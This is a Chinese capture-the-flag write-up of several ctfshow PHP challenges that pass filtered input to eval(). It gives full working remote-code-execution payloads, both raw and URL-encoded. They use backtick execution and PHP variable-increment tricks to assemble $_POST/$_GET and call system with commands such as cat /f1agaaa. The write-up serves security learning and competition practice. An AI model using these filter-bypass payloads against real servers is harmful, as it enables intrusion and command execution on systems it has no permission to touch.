本周ctfshow的挑战注重点为RCE,主要利用是:自增绕过RCE
属于简单类型
源码
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
发现过滤了(
和.
,我们可以利用反引号执行命令 echo输出
code=echo `ls /`;
输出flag
code=echo `cat /f1agaaa`;
比较简单的
打开题目 审计源码
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
我们跑一下 看看哪些字符没有被过滤
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}
结果:
! $ ' ( ) + , . / ; = [ ] _
可以考虑$_绕过!(自增绕过)
编写
$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);
//相当于 ($_GET[_])($_GET[__]) 使用的时候url编码一下
传入
?_=system&__=ls
找flag
POST:
ctf_show=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%3D'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3B
GET:
?_=system&__=cat /f*
限制字符的自增 对于我来说较难
源码
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
fuzz测试什么没有被过滤
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i);
}
}
输出
$()+,./01;=[]_
要保证构造payload长度小于105
而且还是自增rce
使用A的话构造GET肯定是无法小于105 那么可以尝试构造POST _/_ == NAN
构造的payload
$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]);
传入参数
POST:
ctf_show=%24_%3D(_%2F_._)%5B0%5D%3B%24_0%3D%2B%2B%24_%3B%24_0%3D%2B%2B%24_.%24_0%3B%2B%2B%24_%3B%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_%3D_.%24_0%3B(%24%24_%5B0%5D)(%24%24_%5B1%5D)%3B&0=system&1=cat /f1agaaa
源码
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
要求字符小于等于84
fuzz测试,可用字符
$()+,./0;=[]_
$()+,./;=[]_
构造
$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);
// 分析一下
//1.(_/_._)[0]==N
//$__=$_.$_++; 此时的$_=O $_.$_++; 这个顺序是(实验得出来的):
// 先使用 后自增 最后使用 $__=$_.O; -> $_++ -> $__=P.O;
payload
ctf_show=%24_%3D(_%2F_._)%5B0%5D%3B%2B%2B%24_%3B%24__%3D%24_.%24_%2B%2B%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24__.%3D%24_%2B%2B.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=nl /f1agaaa
源码
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
限制传入的参数长度小于等于73
fuzz测试哪些字符没有被过滤
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i);
}
}
// $()+,./;=[]_
构造payload
# 第一种 !!知识点!! 直接使用_POST当做参数
$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
第一个参数:_POST 第二个参数:_
# 借助ctfshow群里佬的payload tql
# 第二种
# 不可见字符替换 !!知识点!!
$_=(_/_._)[_];++$_;$a=$_.$_++;++$_;++$_;$_=_.$a.++$_.++$_;$$_[_]($$_[a]);
# 转为url后将a改为 %ff $fe 等不可见字符
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa
另外更有大佬的payload
phpinfo安装了一个扩展gettext,该扩展支持函数_()
,相当于gettext()
,直接转化为字符串
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])